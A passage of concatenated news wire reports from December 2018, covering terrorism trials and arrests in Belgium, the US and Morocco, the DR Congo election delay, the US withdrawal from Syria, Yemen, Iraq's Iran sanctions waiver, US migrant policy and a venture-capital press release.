National Party MPs and the Farmers Federation to bulldoze through an agricultural visa, regardless of what the impact might be on strategic relationships in the Pacific. Policy disunity in Canberra is a longstanding weakness of Australias Pacific engagement. It is hoped that the new Pacific office in the Department of Foreign Affairs and Trade, which aims to foster a whole-of-government approach, will go some way to improving things. Finally, this year saw an escalation of concerns expressed by Pacific island leaders about the lack of global solidarity with and worse active undermining of regional ambitions to tackle climate change. Whether because of bad manners on the part of ministers or failure to support the global leadership of the Marshall Islands Hilda Heine and others, there are indications that patience with extra-regional partners is wearing thin. Australia has much to do in this regard to justify its Pacific pivot and prove that its renewed commitment to the region is about more than power politics. Tess Newton Cain is an independent researcher and analyst with over 20 years of Pacific experience. She lived in Vanuatu between 1997 and 2016 and is a citizen of that country An alleged French jihadist accused of returning from Syria and shooting dead four people in an attack on the Jewish Museum of Belgium in central Brussels appeared in court Thursday. Mehdi Nemmouche, allegedly the first foreign fighter to return to stage a attack on European soil, is charged with "terrorist murder" in the May 24, 2014 attack. Appearing at a first pre-trial hearing, he tried and failed to have the testimony of his friends and family ruled inadmissable, and his lawyer said he would protest his innocence. Since the museum murders there have been attacks in both France and Belgium by militants connected to or inspired by movements like the Islamic State group. Belgium's State Security intelligence agency warned last month of a possible new wave of violence from militants radicalised in prison or Middle East conflicts. The 33-year-old confirmed his identity in the Brussels criminal court alongside his alleged accomplice, fellow French citizen 30-year-old Nacer Bendrer. "Mehdi Nemmouche, 33, no profession," said the young man, with a thin beard and a dark jumper, who was brought to court under tight security. No pleas were submitted at what was a pre-trial hearing, but defence lawyer Sebastien Courtoy said Nemmouche wants, after four years in custody, "to see his innocence recognised." "He will not play dumb, he will explain himself," the lawyer said, promising that the defendant would respect the judge and the court process. Nemmouche did, however, ask that testimony from six witnesses -- friends and relatives from his days growing up in Roubaix in north France -- not feature in next year's trial. In particular, he did not want his grandmother, who will soon turn 79, to be obliged to appear. The presiding judge said her statement could be read to the court. Thursday's hearing was arranged to finalise the witness list before the full trial, which is due to start next month, but was the pair's first public appearance. Between 150 and 200 witnesses will be called after the main trial gets under way on January 10 -- after another hearing on January 7 to choose jurors. In the attack, a man opened fire with an assault rifle in the Jewish Museum of Belgium, killing two Israeli tourists, a French volunteer and a Belgian receptionist. Prior to the attack, Nemmouche is said to have fought in Syria as part of a jihadist faction and is accused of acting as a jailer to kidnapped French journalists. During the investigation he acknowledged playing a role in the anti-Semitic assault on the museum, but denied that he was the shooter. Another suspect, caught on a security camera walking with Nemmouche by Brussels' Gare du Nord station after the attack has never been identified. Nemmouche was himself arrested on May 30, 2014, arriving at a bus station in the southern French city of Marseille with a bag containing several firearms. - Anti-Semitic attacks - His co-defendant Bendrer, a petty criminal from Marseille, was arrested at a later date with weapons, but his lawyer has insisted he had nothing to do with the attack. Investigators say Nemmouche was in Syria from 2013 to 2014 and met Najim Laachraoui, a member of the gang which carried out bombings in Brussels in March 2016, killing 32 people. The same Brussels cell is also alleged to have carried out the gun and bombing attacks on November 13, 2015 in Paris that killed 130 people and wounded hundreds. The Islamic State group, which drew thousands of jihadists from Europe to parts of Syria and Iraq under its control, claimed responsibility for these attacks. Nemmouche is expected to face a separate trial in France for holding French hostages. He was charged in connection with that case in November last year. The journalists are expected to be called as witnesses to Nemmouche's character during the case, despite the defence arguing that theirs is a separate case. Belgium's Jewish community will be watching the trial closely, and its leaders have previously underscored the anti-Semitic nature of the museum attack. Two Israeli tourists, a French volunteer and a Belgian receptionist were killed in the attack Belgian judge Laurence Massart held a preliminary hearing designed to finalise a list of 150 to 200 witnesses in the case A Canadian man who plotted to bomb the New York subway and Times Square and "create the next 9/11" in support of the Islamic State group was sentenced Wednesday to 40 years in prison. Abdulrahman El Bahnasawy, 20, of Mississauga, Canada, pleaded guilty two years ago to seven counts of terrorism-related offenses following his arrest in May 2016. But the charges against him were kept under seal until October 2017 while US authorities sought other participants in the plot. According to the Justice Department, El Bahnasawy launched the plot together with a US citizen living in Pakistan, Talha Haroon, and Philippines native and resident Russell Salic. El Bahnasawy scouted out possible attack locations in New York, including bombing targets and concert venues where he would shoot people, with his target date in mid-2016. The Justice Department said he had acquired materials to make bombs and a place to stay just outside of the city from which to stage the attacks. "Demonstrating his commitment to carry out the attacks, El Bahnasawy pinpointed bomb locations on a map of the subway system, and acquired an array of bomb-making materials. El Bahnasawy aspired, in his words, to 'create the next 9/11,'" said Geoffrey Berman, the US attorney from New York. Haroon had planned to fly to the United States to take part while Salic wired money from the Philippines to help them. The plot was disrupted by an FBI agent who posed as an Islamic State supporter ready to take part in the plot, the Justice Department said. El Bahnasawy was arrested after he traveled to the New York City area to prepare for the attacks. Haroon was arrested in Pakistan in September 2016 and Salic was arrested in the Philippines in April 2017. Both are still being held and face extradition requests from the United States. Members of the New York City Police Counterterrorism force stand guard in Times Square on August 18, 2017 amid heightened fears of attacks DR Congo's troubled journey to elect a successor to President Joseph Kabila hit a fresh snag Thursday, three days before voting, as electoral supervisors ordered a week-long postponement after a fire destroyed polling equipment. The delay marks the latest twist in a two-year-old saga that has plunged the central African country into a political crisis and sparked deadly clashes. The head of the Independent National Election Commission (CENI), Corneille Nangaa, said a warehouse fire on December 13 had destroyed voting machines and ballot papers for the capital Kinshasa. Attempts are underway to bring replacements, but these will not be available in time for voting on Sunday, he told reporters. "The presidential, legislative and provincial elections will therefore take place on December 30, 2018," Nangaa said. "The electoral process continues," he insisted. But in a climate rich with suspicion, opposition leaders were swift to voice their anger ahead of his announcement, and small groups of protestors gathered. "No delay can be justified," said Martin Fayulu, one of two opposition frontrunners. Kabila and Nangaa would bear "full responsibility for this charade," he said. His statement was also signed by two heavyweights who have been barred from contesting the election -- the exiled former governor of Katanga, Moise Katumbi, and former warlord Jean-Pierre Bemba. The chief prosecutor at the International Criminal Court in The Hague, Fatou Bensouda, meanwhile, issued a warning about the country's deep problems. The situation poses "the risk of escalating violence that could lead to the commission of grave crimes," Bensouda said. The statement was issued before the postponement announcement. - Country in crisis - Africa's second biggest country, the Democratic Republic of Congo is also arguably the continent's most volatile. It has never experienced a peaceful transition of power since it gained independence from Belgium in 1960. Since 1996, it has experienced two major wars that left millions of dead, and two ongoing conflicts in the centre and east of the country that have caused hundreds of thousands to flee their homes. Fears of another bloodbath have haunted the nation after it was plunged into a political crisis in 2016 over Kabila's future. In power since 2001 after succeeding his assassinated father, Kabila, 47, was due to step down after reaching the end of his constitution-limited two terms in office. But he stayed on, invoking a caretaker clause in the constitution that enables a president to stay in office until his or her successor is elected. The elections were postponed until the end of 2017 under a deal brokered by the powerful Catholic church, and then again until 2018. The delay sparked protests that were violently suppressed, with dozens of deaths, leading to an outcry by western nations and the UN. One of the figures behind the crackdown is Kabila's hand-picked successor, Emmanuel Ramazani Shadary, a hardline former interior minister. - Contested machines - The announcement on Thursday concerns the loss of South Korean-made touchscreen voting machines introduced for the poll. Under the system, a voter touches a photo of the candidate to cast their ballot and then receives a printout of it. The paper is then put in a ballot box to provide verification by a manual count later. The government said the machines were vital for staging elections swiftly, fairly and accurately across a vast country with poor infrastructure. But the devices sparked a political storm from the outset, with some opposition leaders -- although not all -- saying they were vulnerable to hacking and fraud. On December 13, a fire broke out in a Kinshasa warehouse, destroying around 8,000 of some 10,000 machines earmarked for the capital, Kinshasa, according to CENI. More than a tenth of the country's 44 million registered voters live in the city. Nangaa said his organisation had brought to Kinshasa surplus machines that it had in the provinces. "However, the problem is that our reserve stocks do not include ballot papers. We therefore have had to order them from the South Korean supplier," he said. "Five million ballot papers have been ordered," he said. "The first batch arrived in Kinshasa on Wednesday (but) the final batch can only be delivered on Saturday evening," the eve of the elections, he said. Police chased away protesters outside the DR Congo's electoral commission during a press conference where election supervisors announced a week-long postponement to Sunday's ballot In the spotlight: DRC election commission chief Corneille Nangaa, pictured at the National Assembly on Thursday, where he briefed politicians about the problems facing Sunday's elections Kabila, pictured this month at his farm near Kinshasa, has been president since 2001. He took the helm aged just 29 after his father, Laurent-Desire Kabila, was assassinated by a bodyguard Map showing main conflict zones, refugees, food insecurity and mineral resources in the Democratic Republic of Congo The first pictures of the campsite where two backpackers were brutally slain have emerged. The photos show the lonely tent in the secluded High Atlas mountains cordoned off with police tape while a forensic team scours the area. It comes as authorities arrested three more suspects over the deaths of the two Scandinavian university students who were killed in Moroccos Atlas Mountains. Danish hiker Louisa Vesterager Jespersen and Maren Uelan were believed to been slain in a brutal attack. Source: AP The bodies of Dane Louisa Vesterager Jespersen and Norwegian Maran Ueland were discovered on Monday at the campsite above the tourist village of Imlil, a well-known departure point for mountain hikes, where they pitched their tent for the night. One of the victims was found inside the tent, the other outside decapitated, according to an Imlil hotelier. Morroccan media outlets reported investigators have video surveillance footage showing three suspects putting up a tent near the victims tent and leaving the area after the slayings. Tour guide Rachid shows the sight where one backpacker was found dead. Source: AP Slayings may be related to extremist group The three suspects were arrested as they tried to flee Marrakech on a bus, Moroccan national security spokesman Boubker Sabik said. Authorities have said they consider the killings a terrorist act and Sabik said officials were investigating if the three had extremist ties. A forensic team scours the grounds of the campsite where the backpackers were found. Source: AP Another suspect was arrested on Tuesday (local time). Moroccan prosecutors said he had affiliations to an extremist group without naming it. No other suspects besides the four now held are being sought, Mr Sabik said. Danish Prime Minister Lars Loekke Rasmussen said the killings were politically motivated and thus an act of terror. Norwegian Prime Minister Erna Solberg said terrorism was not the only lead being investigated but the case emphasised the importance of combating violent extremism. Dream trip turns to nightmare Ms Jespersen, 24, and Ms Ueland, 28, were on a month-long trip to Morocco. Ms Uelands mother Irene told Norwegian broadcaster NRK the pair were well-prepared. The two women were killed in the High Atlas mountains in Morocco. Source: AP/NTB scanpix Her priority was safety. The girls took every precaution before going on this trip, she said. Story continues Mr Loekke Rasmussen said what should have been a holiday trip turned into a nightmare. Other tourists found the women with stab wounds in their necks and alerted police, according to national media in Morocco. Attacks shake popular tourist destination The slayings have shocked Morocco, a popular tourist destination where attacks on foreigners are extremely rare. In the capital of Rabat, government spokesman Mustapha El Khalfi said Morocco condemned this terrorist, criminal act. A hotelier from Imlil said one of the backpackers was found inside the tent while the other was discovered outside. Source: AP It is an unacceptable act that does not fit with the values and traditions of Moroccan people nor the traditions of the area where the crime happened, Mr Khalfi said Thursday. It is a denounced, condemned act. A national security official who asked not to be named because he was not authorised to speak to the media identified the suspects to The Associated Press as Abdessamad Ejjoud born in 1993, Younes Ouziad born in 1991 and Rashid Aftati born in 1986. Moroccan police have arrested three fugitive suspects in the grisly murder of the two hikers (left to right) Rachid Afatti, Ouziad Younes and Ejjoud Abdessamad. They had knives and slingshots when they were arrested, the official said. Morocco is generally considered safe for tourists but has battled with Islamic extremism for years. More than a 1000 Moroccans are believed to have joined the Islamic State group. Moroccan authorities said Thursday four suspects arrested following the murder of two young Scandinavian hikers in southern Morocco had pledged allegiance to the Islamic State (IS) Three of the four suspects were arrested on Thursday over the grisly killing of the two hikers, as investigators probed a link to Islamic extremism. "The video showing the arrested individuals... pledging allegiance to Daesh was recorded last week before the execution of the criminal acts we are investigating," the Rabat prosecutor said in a statement using the using alternative name for IS and confirming the authenticity of the video. Government spokesman Mustapha Khalfi described the killings as a "criminal and terrorist act", while Prime Minister Saad Eddine El Othmani called them a "stab in the back of Morocco and Moroccans". That was in reference to the likely negative impact the murders will have on the North African country's vital tourism sector -- which accounts for 10 percent of national income. The arrests in the city of Marrakesh follow a first arrest on Monday of a man suspected of belonging to an Islamic extremist group, hours after the discovery of the two women's bodies in the High Atlas mountains of southern Morocco. "The suspects have been arrested" and investigators were in the process of "verifying the terrorist motive, which is supported by the evidence and the findings of inquiries," said the central judicial investigations office. The bodies of Danish student Louisa Vesterager Jespersen, 24, and 28-year-old Maren Ueland from Norway were found on Monday, after the two friends had pitched their tent at an isolated mountain site two hours' walk from the tourist village of Imlil. Police have focused on the terrorism line of inquiry since arresting the first suspect in a poor neighbourhood of the region's main city of Marrakesh, which is a magnet for foreign tourists. "The radical Islamist line has not been removed, because of the profile of the (first) suspect arrested and the three" others, who have links to radical Islamic circles, a source close to the investigation told AFP on Wednesday. Investigators released pictures of three of those arrested, who were identified as Rachid Afatti, Ouaziad Younes and Ejjoud Abdessamad. - IS link suspected - In one of the black and white photos circulated by the authorities, a suspect wears white robes and a white skullcap, and has a long beard. The second suspect also has a long beard, while the third has a thin face and a goatee. But in another picture released by police after they were detained, the three are freshly shaven and wearing plain clothes. All three hail from Marrakesh, and one of them had "a court record linked to terrorist acts", police spokesman Boubker Sabik said. Danish Prime Minister Lars Lokke Rasmussen denounced what he called a "beastly crime". Addressing reporters, Rasmussen said "like the whole world, we react with consternation, disgust and a profound sadness." Norway's Prime Minister Erna Solberg condemned what she called a "brutal and meaningless attack on innocents". In Rabat, the government spokesman highlighted the efforts of the security services in the fight against terrorism by hailing the arrest in "record time" of the alleged suspects in the double murder. - Blow for tourism - Moroccan authorities were still working to determine the authenticity of a video posted on social media networks allegedly showing the murder of one of the tourists, a prosecutor said in a statement. The killings have sparked fears of a hit to Morocco's crucial tourist sector as the kingdom's relative security has always been a major selling point. "What most of us had feared -- that is to say a terrorist angle to the double crime in the region of Imlil, has been confirmed," said leading news website Medias 24. "Shock, sadness and revulsion are perceptible in Morocco," it added. Traumatised by the murders, residents of Imlil are deeply fearful for their livelihoods, and have helped investigators in identifying suspects, a tourism sector source told AFP. Morocco has been spared jihadist attacks since 2011, when a bomb attack on a cafe in Marrakesh's famed Jamaa El Fna Square killed 17 people, most of them European tourists. An attack in the North African state's financial capital Casablanca killed 33 people in 2003. Three of the four men being held over the murder of the Scandinavian hikers Map locating the zone in the High Atlas mountains where two Scandinavian women were murdered. The body of 28-year-old Maren Ueland from Norway was found on Monday The killings in the High Atlas mountains have sparked fears of a hit to Morocco's crucial tourist sector Donald Trump's nominee to lead the Department of Justice wrote an unsolicited memo six months ago objecting to Special Counsel Robert Mueller's investigation of the president for obstruction of justice, US media reported Thursday. The memo from William Barr was seen as a potential threat to the Mueller probe and possible insulation for Trump if Barr is confirmed by the Senate as the new attorney general, replacing Jeff Sessions. Barr, a conservative Washington lawyer, said in the memo that Trump's May 2017 firing of FBI director James Comey after Comey rebuffed pressure to ease off the Russia collusion probe was legal under presidential powers and not obstruction, according to The Wall Street Journal. In the memo, which was sent to the Justice Department in June, Barr said that Mueller's inquiry into obstruction was "fatally misconceived" and "grossly irresponsible," the Journal said. The obstruction question being pursued by Mueller's team is viewed as one of the largest legal threats to Trump's presidency. "This is ominous: Barr's unsolicited critique of Mueller's pursuit of Trump's obstruction of justice needs to be challenged in the Senate Judiciary Committee," said Laurence Tribe, a professor at Harvard Law School. - Threat to Mueller probe seen - Barr, who was attorney general in 1991-93 under president George H.W. Bush, sent the memo to the Justice Department as a "former official" offering his views. His strong conclusion takes on greater weight now that Barr has been chosen to be attorney general, where he will oversee the Mueller probe and have the ability to curb its actions. When Barr wrote it, Trump was already known to have soured on Sessions over the investigation, repeatedly attacking his attorney general for having recused himself from overseeing it. Trump finally forced Sessions to resign in November. Trump also knows Barr: in 2017 and 2018 the president had considered hiring him as his own lawyer against the investigation. CNN reported that Barr discussed the June memo with Trump before he was officially nominated. The issue could pose a challenge when Barr's nomination is weighed by the Senate Judiciary Committee in January, and lead to calls for Barr to recuse himself from the investigation as Sessions had done. The Journal reported Barr also shared his memo with a top White House lawyer dealing with the Mueller investigation in June. "I would think that might make his supervision of the Mueller investigation, uh, problematic," Benjamin Wittes, a senior fellow at the Brookings Institution and a Washington legal analyst, wrote on Twitter. Justice Department spokeswoman Kerri Kupec said the memo was unsolicited and not based on any inside information from the Mueller probe. She also said that Justice Department ethics officials have already advised that the memo "would present no conflict as to his duties as attorney general." "Mr. Barr has stated that, if confirmed, he will make any decisions based on the actual facts and circumstances of any particular matter." Russia collusion investigation head Special Counsel Robert Mueller (L), and President Donald Trump: Trump's choice of conservative lawyer William Barr to be attorney general could threaten Mueller's probe US allies were stunned Thursday after President Donald Trump declared victory over the Islamic State group in Syria and abruptly ordered the withdrawal of US ground troops from the country. The decision runs counter to long-established US policy for Syria and the region. It blindsided lawmakers, the Pentagon and international allies alike. Britain and France warned on Thursday that the fight against jihadists in Syria was not finished. Trump earlier said: "We've won against ISIS," in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." A withdrawal could have major geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A US official told AFP that Trump's decision was finalized Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 US forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction. A spokeswoman eventually said the Defense Department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk." Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Blasting the move as a "huge Obama-like mistake," Graham said "I fear it will lead to devastating consequences for our nation, the region and throughout the world." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the US presence in Syria, saying in March he wanted to bring troops home "soon." But military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only it would come "as quickly as possible." White House spokeswoman Sarah Sanders said the US-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria that have been ongoing since late 2014. A senior administration official said Trump's decision was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said. - Fate of Kurdish fighters? - A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, US support has strained relations between the NATO allies. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. - 'Short-sighted and naive' - A statement issued by the British government, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," the statement read. Junior defence minister Tobias Ellwood was more blunt, retweeting a message from Trump that the jihadists had been defeated in Syria with the words: "I strongly disagree. "It has morphed into other forms of extremism and the threat is very much alive." The Times newspaper on Thursday reported that Britain had not been informed of the decision before Trump announced it. France said Thursday it will maintain its participation in the coalition fighting IS forces in Syria. European Affairs Minister Nathalie Loiseau said "the fight against terrorism is not over." A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal," Lister said. US President Donald Trump said the US has "defeated ISIS in Syria" US troops have been supporting the Kurdish People's Protection Units US forces with armored vehicles have been supporting the fight against IS in Syria BOSTON and LONDON, Dec. 20, 2018 (GLOBE NEWSWIRE) -- SV Health Investors , the venture capital and growth equity firm, has promoted Houman Ashrafian to Managing Partner and Greg Madden to Partner. SV manages seven funds that work to support entrepreneurs and companies that create breakthrough treatments and innovative healthcare solutions. The firm invests in early-stage opportunities in biotechnology; early-stage and revenue-stage opportunities in medical devices; and growth equity opportunities in healthcare services and digital health. Dr. Houman Ashrafian joined SV in 2016 as a Venture Partner and was promoted to partner the following year. Houmans mandate was to support the creation of innovative new biotechnology companies based on breaking science to develop high impact precision medicine drugs that have the potential to either cure or have a significant impact on patients. At SV he has founded and attracted strategic investment into three out of his four new ventures: Sitryx, Ervaxx, Zarodex Therapeutics and TRexBio. In addition, Houman who is based in SVs London office, serves on the investment committee of the Dementia Discovery Fund (DDF), a venture capital fund managed by SV focused on developing breakthrough therapies for dementia, including Alzheimers. Houman is a tremendous asset to SV, our portfolio companies and our investors, as he has a unique ability to connect emerging scientific insights with innovative therapeutic approaches for poorly treated diseases. His work will contribute to important therapies and solutions for countless patients, said SV Health Investors Managing Partner Kate Bingham . Before joining SV, Houman was Vice President and Head of the Clinical Science Group at UCB Pharma. Dr. Ashrafian currently serves as Visiting Professor and Head of Experimental Therapeutics at the University of Oxford and as an Honorary Consultant Cardiologist at the John Radcliffe Hospital in Oxford. Earlier, he co-founded the healthcare services company Cardiac Report, as well as Heart Metabolics. Houman is a graduate of University of Cambridge and holds BM BCh and DPhil degrees from University of Oxford. Greg Madden, who has been promoted to Partner from Principal at SV, joined the firm in 2002 as an Analyst. He focuses on medical device and healthcare services investments and leads the financing, strategy, operations and acquisitions of portfolio companies. Recent SV investments in which he is deeply involved with include SolSys Medical, BardyDx, , Ximedica and Stimwave. Greg Maddens significant transaction experience is most advantageous for our team, and his strategic and transactional insights make an important difference for the entrepreneurs and portfolio companies he works with so closely, said Gene Hill , Chairman at SV Health Investors. Prior to SV, Greg worked at Testa, Hurwitz & Thibeault, where he supported venture capital funds and venture-backed companies in business formations, financings, M&A and venture capital fundraising. He holds a BA degree from Colby College and an MBA with honors from Boston University, where he graduated Beta Gamma Sigma. SV Health Investors funds have approximately $2.9 billion of capital commitments raised across seven private venture funds and one publicly listed fund. Over the past 25 years, SV has invested in over 175 companies. About SV Health Investors SV Health Investors, formerly named SV Life Sciences, is a healthcare and life sciences venture capital and growth equity firm. SV targets early-stage opportunities in biotechnology; early-stage and revenue-stage opportunities in medical devices; and growth equity investments for later-stage businesses in healthcare services and digital health. Over the past 25 years, SV has invested in more than 175 companies. The firm currently has over $2.9 billion in capital commitments raised across seven private venture capital funds and one publicly listed fund. SV Health Investors has offices in Boston and London. For more information, please visit www.svhealthinvestors.com. Contact: Katarina Wenk-Bodenmiller Sommerfield Communications (212) 255-8386 Katarina@sommerfield.com Turkish President Recep Tayyip Erdogan and Iranian counterpart Hassan Rouhani on Thursday vowed to work closer to end the fighting in Syria. But the two leaders made no comment on US President Donald Trump's shock announcement that he was pulling US troops out of the war-ravaged nation. "There are many steps that Turkey and Iran can take together to stop the fighting in the region and to establish peace," said Erdogan, without elaborating, at a joint news conference with Rouhani in Ankara. "Syria's territorial integrity must be respected by all sides. Both countries are of the same opinion regarding this," Rouhani said in translated remarks. The two leaders' meeting had been arranged before Trump's announcement about the US pull-out, a move already welcomed on Thursday by Russian President Vladimir Putin. Some Western analysts consider the US presence a key counterweight to Iranian influence in the region. Ankara has repeatedly called for Syrian President Bashar al-Assad's ouster and supported Syrian opposition fighters. Tehran and Moscow meanwhile are Damascus's strongest allies and have helped to turn the war in Assad's favour. Turkey, despite its differences with Iran and Russia over Syria, has worked closely with both countries to find a political solution to the war through the Astana process launched last year. As part of the peace talks which began in the Kazakh capital, Turkey, Iran and Russia agreed four "de-escalation" zones in Syria. All of those except the northwestern province of Idlib have been retaken by Damascus. At Thursday's news conference, Rouhani said Turkey and Iran would continue their cooperation under the Astana peace process. - Turkey 'stands by Iran' - Erdogan threatened last week to launch a new operation east of the Euphrates in northern Syria against the Kurdish People's Protection Units (YPG). This US-backed Kurdish militia is viewed by Ankara as a "terrorist offshoot" of Kurdish insurgents inside Turkey. There are around 2,000 US forces in Syria, most of them on a train-and-advise mission helping the YPG under the banner of the Kurdish-led Syrian Democratic Forces (SDF) alliance fighting against the Islamic State extremist group. Turkey and Iran, regional rivals for centuries, have in recent times focused on developing a pragmatic relationship and boosting trade. Erdogan on Thursday repeated Turkey's criticism of the US this year pulling out of the nuclear deal with Iran and imposing new sanctions on the Islamic republic. "I want to stress once more than we (Turkey) do not support these decisions and that American's sanctions against Iran increase the risks to the region's safety," he said, adding that Turkey would "stand by the Iranian people". The deal envisaged sanctions on Iran being lifted in return for it accepting inspections by the UN atomic watchdog and limits on its nuclear activities. Turkey's President Recep Tayyip Erdogan and Iran's President Hassan Rouhani arranged their summit before US President Donald Trump's shock announcement of a US military pull-out from Syria The battleground Yemeni port city of Hodeida was calm Thursday after a minor exchange of fire between the warring parties overnight, a pro-government official said. Military officials and residents have said that there has been intermittent fighting between loyalists -- backed by a Saudi-led coalition -- and the Iran-aligned Huthis since a truce in the lifeline Red Sea port city and its surroundings came into force on Tuesday. A pro-government official told AFP that four loyalists were wounded on Wednesday night. "The exchange of fire lasted for about half an hour, and there is uneasy calm this morning," he said. The official added there has been intermittent fighting on a number of battlefronts in Hodeida province, including the districts of Hays and Al-Tuhayta. The pro-government forces and the Huthi rebels exchanged accusations on Thursday that the other side was violating the ceasefire agreement reached at talks in Sweden earlier this month. UN observers are due in Yemen to head up monitoring teams made up of government and rebel representatives tasked with overseeing the implementation of the UN-brokered ceasefire, under the auspices of a Redeployment Coordination Committee. The UN chair of that committee, Patrick Cammaert, convened its first meeting by videoconference from New York on Wednesday "to discuss the general outlines of its work, including agreement of a code of conduct", UN spokesman Stephane Dujarric said. UN chief Antonio Guterres was "breathing down the neck" of officials to make sure the UN observers are deployed as soon as possible, Dujarric said. He added that Cammaert will head on Thursday to Jordan's capital Amman, from where he will travel to the Yemeni capital Sanaa and Hodeida. Brigadier Ahmed Al-Kokbani, a Yemeni government representative on the committee, told AFP that the observers' meeting with Cammaert covered the bases of the committee's work. "Cammaert asked members of the team to work diligently in calming the situation and to reject any violations (of the truce deal)," he said. The Saudi-led coalition warned Wednesday that the hard-won ceasefire agreement will collapse if rebel violations persist and the United Nations does not intervene. The Redeployment Coordination Committee's observers are due to oversee the withdrawal of the warring parties from Hodeida, including a rebel pullout from the city's docks that are the point of entry for 80 percent of Yemeni imports and nearly all UN-supervised humanitarian aid. The committee chair is expected to report to the Security Council on a weekly basis as part of a major diplomatic push that is seen as the best chance yet to end the four-year conflict. The war between the Shiite Huthi rebels and troops loyal to President Abedrabbo Mansour Hadi escalated in 2015, when he fled into Saudi exile and the Saudi-led military coalition intervened. Since then, the war has killed some 10,000 people, according to the World Health Organization, although human rights groups say the real death toll could be five times as high. Yemen's foreign minister Khaled al-Yamani (L) and rebel negotiator Mohammed Abdelsalam (R) shake hands under the eyes of UN Secretary General Antonio Guterres (C), at Johannesberg Castle in Rimbo, Sweden, on December 13, 2018 Yemen's conflict has pushed 14 million people to the brink of famine in what the UN calls the world's worst humanitarian crisis The United States has granted Iraq a 90-day extension to an exemption from reimposed sanctions on Iran to keep on importing energy, a government source said on Thursday. President Donald Trump reimposed crippling unilateral sanctions on Iran's energy and finance sectors on November 5 following his May decision to abandon a landmark 2015 nuclear deal between major powers and Tehran. But he gave Iraq a 45-day waiver to continue buying electricity and natural gas to generate it from its eastern neighbour. Iraq was expected to use that time to submit a plan on how it would wean itself off Iranian supplies. In the days leading up to the deadline Thursday, Prime Minister Adel Abdel Mahdi said a delegation of Iraqi officials would travel to Washington to discuss sanctions. And on Thursday, a government source involved in the talks, told AFP the delegation had secured a 90-day extension so Iraq could keep buying both Iranian electricity and gas. Asked whether the US had pressured the Iraqi delegation to partner with US companies to fill the eventual gap, the source said the issue was part of "complicated discussions". Iraq faces a chronic power shortage that often leave homes without mains electricity for as much 20 hours a day and was a key driving factor behind mass protests this summer. To cope with the shortages, Iraq pipes in up to 28 million cubic metres of Iranian gas a day for power generation and also directly imports up to 1,300 megawatts of Iranian electricity. That dependence is uncomfortable for Washington, which sees Tehran as its top regional foe. Last week, US Energy Secretary Rick Perry discussed sanctions with Iraq's ministers of oil and electricity in Baghdad, and said Iraq should partner with US companies to become energy independent. "Working together, the US and Iraq can develop Iraq's oil, gas and water industries," Perry said. Iraq's electricity ministry said it could stop relying on Iranian electricity within two years, but that halting gas imports would be much more difficult. One solution would be developing Iraq's ability to capture gas flares, the gas set alight during oil extraction. The World Bank estimates that wasted flares represent an annual loss of about $2.5 billion -- enough to fill the gap in Iraq's gas-based power generation. A second source with close knowledge of the negotiations told AFP Washington was trying to convince Iraq to partner with American firms General Electric, Baker Hughes and Orion to capture flares. "The US tells Iraqi officials it's a win-win-win: they stop relying on Iran, they capture their own gas and they benefit US companies in the process," the source said. Neither Iraq's electricity ministry nor the US embassy in Baghdad responded to AFP requests for comment. The United States has granted Iraq an extended exemption from reimposed sanctions on Iran to keep on importing desperately needed electricity and gas to generate it US Energy Secretary Rick Perry presses Iraq to partner with US firms to end its dependence on imports of Iranian power and gas during a visit to Baghdad on December 11, 2018 The Trump administration announced Thursday that it will send migrants who cross the southern border back to Mexico while their cases are being heard so they cannot "disappear" on US soil. "Aliens trying to game the system to get into our country illegally will no longer be able to disappear into the United States, where many skip their court dates," announced Homeland Security Secretary Kirstjen Nielsen. "Instead, they will wait for an immigration court decision while they are in Mexico. 'Catch and release' will be replaced with 'catch and return,'" Nielsen said in a statement. The move came amid President Donald Trump's frustration that efforts to stem a tide of migrants fleeing poverty and violence in Central America for the United States have not worked. Over the past year, many have made their way across the border and then requested asylum, forcing the US to review their cases. The cases can take months or years to weigh and, in the meantime, the migrants are released. Trump recently ordered that the asylum claims of migrants from Central America -- mainly Guatemala, Honduras and El Salvador -- be automatically denied. But in recent weeks, courts have accepted lawsuits challenging the legality of that order and have blocked officials from implementing it. Nielsen said Thursday's decision will reduce illegal migration "by removing one of the key incentives that encourages people from taking the dangerous journey to the United States in the first place." "This will also allow us to focus more attention on those who are actually fleeing persecution." Nielsen said the Mexican government, which will now be forced to deal with the migrants, has been informed of the US decision. "In response, Mexico has made an independent determination that they will commit to implement essential measures on their side of the border," she said. 